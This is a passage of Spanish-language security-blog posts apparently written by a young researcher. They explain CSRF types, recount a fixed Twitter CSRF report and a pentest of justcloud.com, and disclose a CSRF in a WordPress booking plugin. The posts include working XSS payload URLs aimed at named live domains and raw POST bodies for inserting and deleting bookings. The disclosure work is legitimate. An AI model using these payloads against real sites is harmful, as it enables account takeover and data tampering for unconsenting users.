Este post es para para compartir con ustedes, mi experiencias. Quizás le ayude a alguien más. Que este empezando a juguetear con esta vulnerabilidad Web.

Bueno empecemos Que es Ataque CSRF:

Un ataque CSRF fuerza al navegador web validado de una víctima a enviar una petición a una aplicación web vulnerable, la cual entonces realiza la acción elegida a través de la víctima. Al contrario que en los ataques XSS, los cuales explotan la confianza que un usuario tiene en un sitio en particular, el cross site request forgery explota la confianza que un sitio tiene en un usuario en particular.

Ahora bien contare lo que hasta el momento me eh encontrado.

Básicamente me eh topado con 3 Tipos CSRF.

 Tipo 1:

Este básicamente es más elemental de todos, es el Formulario que no tiene token. La cual está confiado en que la petición del usuario es realmente de él, y no es una petición forzada.

Ejemplo:

[Captura de Imagen de Live HTTP Header; Plugin de Firefox que Uso para Editar Cabeceras y detectar CSRF]

Ahora Bien este es el más fácil de todos por que tan solo resta armar la PoC [Prueba de Concepto] y Bang! CSRF.

• Tipo 2.

Ahora pasamos al que yo denomino tipo 2, Este CSRF Que aun teniendo protección no sirve para nada, solo de “ lujo “ una prueba de Ello: Twitter , Hace unas semana encontré un hueco de seguridad que sin el uso de token las peticiones se iban. La cual permitía que yo armara un HTML y lo enviase a un víctima y este lo abriera y yo tomar el control de su cuenta, todo esto de manera oculta para él. Una Gran Brecha de seguridad,  y pensar que este fallo ya lo eh visto el múltiples Aplicativos Web. Algunos ya eh reportado y otros apenas iré a reportar, de todas maneras es un fallo, no verificar los tokens enviados por el usuario, y dejar sin verificación los tokens. ( Hackeando Twitter Con Un Click )

[Exploit CSRF De Twitter – Captura de la HTML De Prueba de Concepto]

• Tipo 3:

Este Tipo de CSRF es muy Extraño, la verdad eh buscado información al respecto y no encuentro alguna, igual quiero presentárselas acá y si tienen alguna duda, Ps esto lo que tengo al respecto.

Este CSRF Se basa en autentificar el token en las cabeceras, si bien debes modificar la cookie para obtener la prueba de concepto opino que no es imposible de realizar, y estoy en desarrollo de su PoC.

Le daré un ejemplo para que entiendan mejor:

[CSRF Con Token Modificable]

Ahora si Yo modificase Token de seguridad, Que se encontrase en header y lo pongo de igual manera formulario que estoy enviando, la petición se realiza de manera exitosa.

Pero si el token del header que está en cookie,  lo modifico y el token que está en formulario no le realizo ningún cambio. Efectivamente la petición es rechazada por el servidor.

Y esto es debido que la comprobación de token la compara desde el servidor sino desde las mismas cabeceras y esto representa un riesgo. 1. Por qué no debes dejar que el token sea un valor modificable, si el usuario lo modifica lo que debería pasar es rechazarlo, 2. Porque la comprobación de token la estas dejando a vista del usuario.

Ahora como explique arriba es muy complejo armar la PoC, pero no imposible 3:)

 ** Actualizacion: https://apigee.com/console/

 **Permite por medio de la consola editar parametros de cabezera, tocara juguetear un poco.

Bueno ya con esto concluyo este post, la verdad fue un placer compartir esta información con todos.

Y bueno cabe aclarar que lo escrito de manera anterior es mi punto de vista de ver los ataques de CSRF, y los dividos de esa manera. Espero que le haya gustado!

By Dylan Irzi

Security Researcher.

WebSecurityDev

The post CSRF: Un Nuevo Target. appeared first on WebSecurityDev.

El dia de ayer a al las 3:40 pm encontre un CSRF en Twitter ,la cual mas tarde me di cuenta que aplicaba a todo. este CSRF  Permitia que a partir de un link enviado de una cuenta atacante a una cuenta victima fuece hackeada !

realize multiples pruebas y todas salieron positivas , logre grabar un video y al final lo podra vizualizar.

Lo que me sorprendio fue que a las 10 am  de la mañana  (Hora Colombiana ) de dia de hoy  ( 04/09/13 ). Al seguir buscando vulnerabilidades en Twitter esta misma vulnerabilidad de CRSF Aplicaba para todo! , realize multiples PoC, en una logre “trinar”, en otra retweetear, en otra cambie el nombre del perfil, en otra la descripcion, todo esto con un simple archivo de html.

Como llege hasta la vulnerabilidad? estaba leyendo un articulo de mecanismo de doble autentificacion con tu numero de celular decidi intentarlo y mirar las cabezeras y probe eliminando token de seguridad que este tenia y wala! funciono.!

Esta vulnerabilidad consistia en que aun sin tener el token de seguridad valido , la operacion que se estaba solicitando se realizaba. en pocas palabras el token que tenia antes no funcionaba! estaba de lujo. por que esta aunque la borrase de la peticion, la peticion se ejecutaba.

Empezemos con el Reporte.

Titulo: CSRF En Twitter.com

Acerca del Autor: Dylan Irzi – Juan David Castro Cantillo. – Colombiano.

Independent Security Researcher de 17 años de edad, Con Hall Of Fame Owncloud, Microsoft / Adobe .
De la Ciudad de Barranquilla.

A Quien Afectaban: A Todos los usuarios.

Estatus de la Vulnerabilidad: Fixed!

Video de Prueba de Concepto:

Bueno depues de eso a las 4 de la tarde hora colombiana, se puso en modo mantemiento para reparar supongo que la vulnerabilidad.

Correo de Confirmacion y reparacion de vulnerabilidad.

Eso ha sido todo el informe. la verdad ahora solo queda esperar que me coloquen en Hall Of Fame De  Twitter por WhiteHat. que segun el mail sera en unos dias.

Por Ultimo Agradecer a @SeguridadBlanca, @SrtadeDylan, @Armand0A , @Maldonad_Jeison, Por ayudarme Probar las PoC.
al Equipo de WebSecurityDev, y a Dios.

——————————————–

Att: Dylan Irzi

Independent Security Researche.

Happy Hacking!

The post Hackeando el Twitter Con Un Click. appeared first on WebSecurityDev.

Bueno empezemos.
Url Target: justcloud.com
                  my.justcloud.com

Vulnerabilidad Encontrada:

• Paraiso Cross Site Scripting ( Reflected – Persistente – DOM)
• CSRF – XSRF

Okey. Bueno os cuento como llegue allí. hace un tiempo testeado algunos servicios de espacio en la nube me tope con este servicio. pero lo que se me hace “chistoso” es que no contaba con una auditoría de seguridad adecuada. En ese tiempo testé unos 5 Portales de Almancenamiento en la nube. acá otro post “Anécdota de un XSS“.
Bueno empezemos con Cross Site Scripting Refleted:
https://my.justcloud.com/devices/%22%3E%22%3E%3Cimg%20src=x%20onerror=alert%28document.write%29;%3E
en esa y en 10 mil lugares mas !!.. okey como en 8 o 9 ubicaciones mas..

Bueno Pasamos a Cross Site Scripting Persistente: 
Esta esta localizada en la parte del perfil en donde al cambiar el numero del telefono por un vector Cross site scripting este Automaticamente. queda interno en la cuenta.

Ahora Pasamos a DOM! Unos de mis favoritos! jejej.
este se encuentra en dominio principal. y se debe al mal implementacion de “location” del Js.
revisando un poco del codigo:

y como era de esperarse todo script puesto junto “#” ejecutaba!
http://www.justcloud.com/terms#%22%3E%3Cimg%20src=x%20onerror=prompt%28%22xss%22%29;%3E

Tambien realize un PoC para cambiar la contraseña por medio de html pero Dejare esto hasta aqui. yo creo que ya quedo claro que la platforma es vulnerable a 100!
Arriba habia dicho que no contaba con auditoria de seguridad y esto lo digo ps muy facil hoy le pase el escaner de seguridad Acunetix. aunque no me confio en sus resultados ( Es Seguro Acunetix? ) Pero Decidi hacerlo y fue lo que me esperaba..

• 44 Cross Site Scripting
• Fomularios sin Proteccion de CSRF.
• y El escaner apenas estaba en 11% si lo dejo que corra al hasta 100 creo que encontrara un SQL.

Bueno antes de terminar tambien les dejo el login a la plataforma que tambien es vulnerable
Login: https://login.justcloud.com/
Demo: https://partner.justcloud.com/login?demo=true

Bueno, ya para concluir, la verdad es inaceptable que una plataforma web de almacenamiento en la nube tenga tantas falencias de seguridad, ademas de que el servicio es pago! (Gratis solo por 15 Dias ) por que no realizaron las auditorias de seguridad bueno. con esto los dejo pensando.

Happy Hacking!!

Dylan Irzi. 
WebSucurityDev.com

The post Pentesting a JustCloud. Un servicio de espacio en la nube. appeared first on WebSecurityDev.

The post CSRFTester En Accion… appeared first on WebSecurityDev.

Eh estado en las ultimas semana reportando fallos de Cross site scripting y se me ha olvidado mi antiguo laboratorio, Localhost. Pero hasta la semana pasada que tome el tiempo de fincho ( fin de semana ) para volver a usar plugins y buscar vulneabilidades como en viejos tiempos…

entonces revisando nuevos plugins en WordPress encontre un plugins de calendario. Booking Calendar 4.1.4, Y al hacer el proseso de prueba me dio buenos resultados.

Este plugin Trabaja con ajax, pero no maneja “token” lo cual eh alli el grave error, permitiendo asi Que modificando las cabezeras y enviando contenido por POST, sea capaz de realizar modificaciones a la base de datos. esta maneja una tabla especialmente para ella. “wp_booking ”

Ese dia. no puede haber nada mejor ” Firefox , Live HTTP Header, Firebug y tu Mente para realizar todo las pruebas con ese plugin”

El resultado : Cross-Site Request Forgery For POST.

Ahora que recuerdo NO Intente si era vulnerable a POST SQLi Injeccion, :/ Creo que ese dia ya estaba full cansado en la noche para seguir en la prueba. igual si alguien os desea puede seguir mi y completar la labor con ese plugin.

En resumen aqui les dejo el Video!

A continuacion el primer codigo del exploit. para añadir un evento al calendario.

———————————————————–
ajax_action=INSERT_INTO_TABLE&bktype=1&dates=(DATE)&form=text%5Ename1%5Etest~text%5Esecondname1%5Etest~email

%5Eemail1%5test%40gmail.com~text%5Ephone1%5Etest~textarea

%5Edetails1%5Etest&captcha_chalange=&captcha_user_input=&is_send_emeils=1&my_booking_hash=&booking_form_type=&wpdev

_active_locale=es_ES[/code] [code]Delete:
Url: http://localhost/wordpress/wp-content/plugins/booking/wpdev-booking.php

Post:
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0 AlexaToolbar/alxf-2.18
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/wordpress/wp-admin/admin.php?page=booking/wpdev-booking.phpwpdev-

booking&wh_booking_id=4&view_mode=vm_listing&tab=actions
Content-Length: 104
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

—————————

ajax_action=DELETE_APPROVE&booking_id=4&is_send_emeils=1&denyreason=&user_id=1&wpdev_active_locale=es_ES

———————————————————[/code]

The post CSRF Plugin Booking Calendar 4.1.4 – WordPress appeared first on WebSecurityDev.

El Exploit esta actualmente Funcionando. Espero que disfruten y ahora Tenemos Canal de Youtube!

The post Exploit WordPress – CP Reservation Calendar 1.01 CSRF y XSS Persistent. appeared first on WebSecurityDev.